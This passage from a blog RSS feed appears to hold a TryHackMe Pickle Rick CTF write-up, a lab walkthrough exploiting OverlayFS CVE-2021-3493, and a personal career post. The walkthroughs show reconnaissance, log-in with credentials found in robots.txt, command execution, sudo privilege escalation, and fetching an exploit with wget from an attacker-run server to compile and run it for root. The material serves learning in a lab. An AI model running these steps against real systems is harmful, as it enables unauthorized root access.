<p><code>-u &lt;TARGET_URL&gt;</code>: This sets the target URL that we want to scan for directories and files.</p>
<p><code>-x php,html,txt</code>: This indicates the extensions that <code>gobuster</code> should look for. In this case, it will only report directories and files with these extensions.</p>
<p><code>-w &lt;WORDLIST&gt;</code>: This specifies the wordlist file that <code>gobuster</code> will use. A word list is a list of possible directories and file names that <code>gobuster</code> will attempt to find.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729439650910/0de5bf3c-643a-4efc-8be9-5f25ed4aa3b6.png" alt /></p>
<p>from the results above we see that we have <code>robots.txt</code> which may include important information, and a <code>/login.php</code> page which may contain a login page. First, we will view the robots.txt file by going to the: <code>10.10.158.167/robots.txt</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729440182225/7e260c28-6550-4830-8985-0a172f1eae90.png" alt /></p>
<p>this could be important so we will save it for later. Next, we will visit the <code>/login.php</code> page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729440564233/736f1da4-7362-4d68-967b-6de4f95d52ad.png" alt /></p>
<p>We can see that there is a login page requiring a username and a password. For the username, I tried <code>R1ckRul3s</code>, and for the password, I used <code>Wubbalubbadubdub</code>, which I found in the robots.txt file. This allowed us to log in successfully.</p>
<h2 id="heading-exploitation">Exploitation</h2>
<p>After logging in, we are directed to a command panel where we can be able to execute commands. this step will help us get the three ingredients to help Rick make his potion and transform himself back into a human from a pickle.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729441645940/b6bfb06b-e839-425f-a0db-9aafd424b0aa.png" alt /></p>
<p>The first command I ran was the <code>ls -la</code> command to list the files and directories available.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729442242165/b511ade3-c1a2-46e9-9354-0e6d4e8af70e.png" alt class="image--center mx-auto" /></p>
<p>based on our result above we see that two files stand out, therefore we will try to read them.</p>
<p>after trying the <code>cat</code> command to try and output the contents of the file, I realized that the command was disabled.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729442804262/8c8da3fa-05d9-4f56-97ec-5f56461c3550.png" alt /></p>
<p>I therefore used the <code>strings</code> command and found the first content of Ricks's ingredient.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729442957853/5fd6c78e-b3a2-4b41-b4cd-c8c8d4193dfd.png" alt /></p>
<p>next, we will read the clue.txt file for any additional clues.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729444118197/2d6390fe-2ce9-4dea-9b9f-2599acbfd194.png" alt /></p>
<p>we are told to look around the file system for the other ingredient. I decided to go the <code>/home</code> directory and found there is a folder named <strong>Rick</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729444437354/ac996a32-cc44-49fb-a2cb-2b91808aacef.png" alt /></p>
<p>Viewing the Rick folder, we can see the second ingredient file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729444744762/d24320d9-b44b-4799-9ed1-38cfcffe134b.png" alt /></p>
<p>reading the second ingredients file using the : <code>strings /home/rick/second\ ingredients</code>we get:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729445346557/ecee664c-9d29-4b3e-93d9-49068945b15f.png" alt /></p>
<h2 id="heading-privilege-escalation">Privilege Escalation</h2>
<p>For the last ingredient, we will have to escalate our privileges to a higher user than the one we are now. To know which user we are currently using,we use the command <code>whoami</code>. we can see that we are the <code>www-data</code> user and have to escalate it root user to capture the last ingredient.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729446725209/416ec0c2-a938-4097-9390-b6ff55fd5112.png" alt /></p>
<p>To achieve this we will run the <code>sudo -l</code> command to check what commands we can run as root.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729446924382/17f58441-0c3e-4bd5-bed5-36f5025179ca.png" alt class="image--center mx-auto" /></p>
<p>from our results, we see that the root user does not have a password and can run any command with super privilege. To find the third file, we are going to search for it in the /root directory using the <code>sudo ls -la /root/</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729447256830/82520c39-d456-40a3-aa3c-efec863038ce.png" alt /></p>
<p>final step is to read the output of the final file using <code>sudo strings /root/3rd.txt</code>command.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729447499701/f4c4767c-a430-43f2-9a82-3d6451bc610a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In conclusion, the journey of uncovering each ingredient was both challenging and enlightening. By leveraging various commands and understanding the system's structure, we successfully navigated through different directories and privilege levels. This process not only demonstrated the importance of methodical exploration and privilege escalation but also highlighted the need for careful attention to detail. Each step brought us closer to the final goal, reinforcing the value of persistence and strategic thinking in problem-solving.</p>
]]></content:encoded></item><item><title><![CDATA[Understand OverlayFS Vulnerability (CVE-2021-3493) in TryHackMe Room]]></title><description><![CDATA[Introduction
In this guide, you will learn how to exploit OverlayFS vulnerabilities for Linux privilege escalation. OverlayFS combines multiple file systems but can pose security risks if mishandled. A specific vulnerability lets attackers gain root ...]]></description><link>https://albaharyhacks.hashnode.dev/tryhackme-rooms-overlayfs</link><guid isPermaLink="true">https://albaharyhacks.hashnode.dev/tryhackme-rooms-overlayfs</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[beginner]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Yunis Mohamed]]></dc:creator><pubDate>Wed, 16 Oct 2024 12:15:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729080356303/ed78c94b-cc4d-45c0-b732-e2390164da74.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>In this guide, you will learn how to exploit OverlayFS vulnerabilities for Linux privilege escalation. OverlayFS combines multiple file systems but can pose security risks if mishandled. A specific vulnerability lets attackers gain root access with a crafted binary. You'll set up a machine, use SSH with provided credentials, and compile an exploit to achieve root privileges and capture a flag, enhancing your hands-on cybersecurity skills.</p>
<h2 id="heading-understanding-the-threat"><strong>Understanding the Threat</strong></h2>
<p>OverlayFS is a kernel module designed to create virtual file systems that combine multiple underlying file systems. While it offers performance benefits and flexibility, it also introduces potential security risks if not properly implemented or maintained.</p>
<p>The vulnerability highlighted by SSD-Disclosure exploits a flaw in OverlayFS's handling of certain file operations. By running a specially crafted binary, an attacker can trick the kernel into giving them root privileges. This attack is particularly concerning because it doesn't require any specific software or tools to be present on the target system. Even without a C compiler, attackers can compile the malicious binary on another machine and transfer it to the vulnerable server.</p>
<h3 id="heading-credentials-for-ssh"><strong>Credentials for SSH</strong></h3>
<p>for this lab, we will use the following credentials:</p>
<p><code>Username: overlay</code></p>
<p><code>Password: tryhackme123</code></p>
<p><code>Ip address for machine: 10.10.31.254</code></p>
<p>firstly we are going to deploy our machine and log in using SSH:</p>
<p>For SSH we will use the following command: <code>ssh overlay@10.10.31.254</code></p>
<p>after login in we were able to gain access to the machine:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729076034513/0fd60587-7a16-4bba-88df-107667145206.png" alt class="image--center mx-auto" /></p>
<p>Grab the source code for the exploit from <a target="_blank" href="https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/">here</a> and save it as exploit.c on the target machine.</p>
<p>to do this, we can use the <code>nano exploit.c</code> command and copy the code to the exploit.c file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729076679663/53988e53-af1f-4b43-aa1d-8a2f3a2cdc62.png" alt class="image--center mx-auto" /></p>
<p>to save the created file to the target machine we will create a local server using the command <code>python3 -m http.server 8000</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729077010422/a9ccbc21-f9f9-4c5c-b0d0-27772768afab.png" alt class="image--center mx-auto" /></p>
<p>on the target machine, we will grab the exploit.c file using the following command.</p>
<p><code>wget</code> <a target="_blank" href="http://10.10.14.1:8000/linpeas.sh"><code>http://10.9.1.112:8000/</code></a><code>exploit.c</code> here, <strong>10.9.1.112</strong> is my local address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729078043620/bbbe028b-9fff-459a-8582-2c61d684fe58.png" alt class="image--center mx-auto" /></p>
<p>next, we are going to convert the exploit source code into an executable file using the following command: <code>gcc -o exploit exploit.c</code> exploit is the executable file while the exploit.c is the source code file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729078613555/eb4d6435-3427-4817-8e8a-6a02796cca6a.png" alt /></p>
<p>The next step is to run the compiled exploit, and get root! command to use is <code>./exploit</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729078825334/6819ce1d-e3c0-4f9c-94d5-d72a0ab780ea.png" alt /></p>
<p>The final challenge is to locate and capture the flag which is located in the <strong>/root/</strong> directory and use the <code>cat</code> command to read the output of the file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729079127479/be73aec0-a597-4ace-8c31-eecea9743e9f.png" alt /></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The OverlayFS vulnerability poses a significant threat to Ubuntu 18.04 Server systems, allowing attackers to gain complete control. To mitigate this risk, ensure your system is updated with the latest security patches, verify the OverlayFS module is patched, and implement additional security measures like regular updates, strong passwords, firewall protection, and data backups. By taking these proactive steps, you can significantly reduce the risk of exploitation and protect your valuable data and resources.</p>
]]></content:encoded></item><item><title><![CDATA[My Journey Into Cybersecurity]]></title><description><![CDATA[Hi, I’m Yunis Mohamed, an aspiring offensive security professional passionate about safeguarding the digital world. My journey into cybersecurity is fueled by curiosity, a commitment to protection, and a belief in our collective role in creating a sa...]]></description><link>https://albaharyhacks.hashnode.dev/my-journey-into-cybersecurity</link><guid isPermaLink="true">https://albaharyhacks.hashnode.dev/my-journey-into-cybersecurity</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[offensive-security]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Yunis Mohamed]]></dc:creator><pubDate>Mon, 07 Oct 2024 08:57:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728243945549/40f77b81-5f8f-4687-b775-befb169dcd6b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hi, I’m Yunis Mohamed, an aspiring offensive security professional passionate about safeguarding the digital world. My journey into cybersecurity is fueled by curiosity, a commitment to protection, and a belief in our collective role in creating a safer online environment. Currently, I am part of the Offensive Track mentorship at the <strong>Ongoza Cybersecurity Hub (OCH)</strong>, where I am sharpening my skills to address the ever-evolving challenges in the cybersecurity field.</p>
<h2 id="heading-who-am-i">Who am I?</h2>
<p>I have a BSc in Information Technology, which gave me a solid start in the tech world. Over time, I’ve built on that with certifications like Cloud and Network Security from <a target="_blank" href="https://cybershujaa.co.ke/"><strong>Cyber Shujaa</strong></a> and Junior Penetration Tester from <a target="_blank" href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Along the way, I’ve picked up skills in data science, machine learning with Python, network and application security, and vulnerability assessments. Currently, I’m also pursuing the <a target="_blank" href="https://cyberwarfare.live/"><strong>Certified Red Team Analyst</strong></a> certification and the <strong>Secure+</strong> certification from <a target="_blank" href="https://www.acyberschool.com/">ACyberSchool</a>.</p>
<h2 id="heading-why-cybersecurity">Why Cybersecurity ?</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728244309252/f7d0029a-3c91-4d7a-bacb-a3b0ad7f05f3.jpeg" alt class="image--center mx-auto" /></p>
<p>Growing up, I was thrilled watching hackers in movies, typing furiously on their keyboards and cracking complex systems with ease (it looked so cool!🤣). That excitement never left me. Sure, real-life hacking requires much more patience and skill than Hollywood portrays, but the thrill remains the same.Offensive security, in particular, fascinates me because it allows us to think and act like adversaries, inorder to proactively protect systems before they’re compromised.</p>
<p>Hacking from an ethical standpoint is not just about breaking into systems, it’s about understanding how they work, where they can break, and how to fix those gaps <em>before</em> someone else does.</p>
<h2 id="heading-och-a-community-of-cybersecurity-leaders"><strong>OCH: A Community of Cybersecurity Leaders</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728235581359/9f64d833-6bdc-41cf-8ed5-933f05442958.png" alt class="image--center mx-auto" /></p>
<p>The <a target="_blank" href="https://www.ongozacyberhub.org/"><strong>Ongoza Cybersecurity Hub (OCH)</strong></a> is dedicated to building the next generation of cybersecurity leaders. In Swahili, "<strong>Ongoza</strong>" means leadership, and true to its name, OCH aims to cultivate future leaders who can give back to the community.</p>
<p>I applied for the OCH mentorship because I saw it as an opportunity to learn from seasoned industry experts who have walked the path I’m on now. I believe their guidance, combined with the technical training provided, will help me upskill and prepare for real-world challenges. I also wanted to develop my leadership skills which are essential to today’s world.</p>
<h2 id="heading-what-keeps-me-going">What Keeps Me Going…</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728245722327/d746757b-fc82-4b7b-b883-ff570026887c.png" alt=" Image by rawpixel.com on Freepik" class="image--center mx-auto" /></p>
<p>One value that resonates deeply with me right now is <strong>resilience</strong>. As I navigate job hunting while pursuing certifications, resilience has become an essential part of my journey. Cybersecurity is a field full of challenges, whether it's getting stuck on a complex capture the flag 😅 or pushing through a tough learning curve. I’ve learned that setbacks are just stepping stones to growth.</p>
<p>I believe that curiosity is the key to growth. In cybersecurity, there’s always something new to learn, whether it’s exploring a new vulnerability or mastering a new tool. Cybersecurity may not always be a whirlwind of excitement, but it is definitely a journey of continuous learning. The job hunt itself has become a valuable learning experience, teaching me the importance of patience. I've come to appreciate that the best results often take time and dedication 💯, a lesson that extends far beyond the realm of cybersecurity.</p>
<h2 id="heading-outside-hacking">Outside hacking…😎</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728244973940/e4f997dd-9bf9-45dd-899b-0222e54ac10e.jpeg" alt="Image by pikisuperstar on Freepik" class="image--center mx-auto" /></p>
<p>When I’m not knee-deep in cybersecurity puzzles, you’ll probably find me in two places: either yelling at the TV during a football match 😂(because obviously, my team can’t win without my sideline coaching), or actually <em>on</em> the field playing football myself.When I’m not kicking a ball around, I’m in the middle of an intense gaming session, outsmarting digital enemies. Both football and gaming keep my brain sharp, or at least that’s what I tell myself😄.</p>
<h2 id="heading-what-next">What next?</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728246194419/18289ae6-ccc7-4e7b-a7eb-7db5207238f9.jpeg" alt=" Image by wirestock on Freepik" class="image--center mx-auto" /></p>
<p>I’m excited to continue growing in this field and sharing my insights with others through this blog. Here, I’ll document my learning journey, offer tips for fellow beginners, and showcase the projects and certifications I’ve achieved. Whether you’re new to cybersecurity or just looking for inspiration, I hope to create a space where we can learn and grow together 🤝.</p>
]]></content:encoded></item></channel></rss>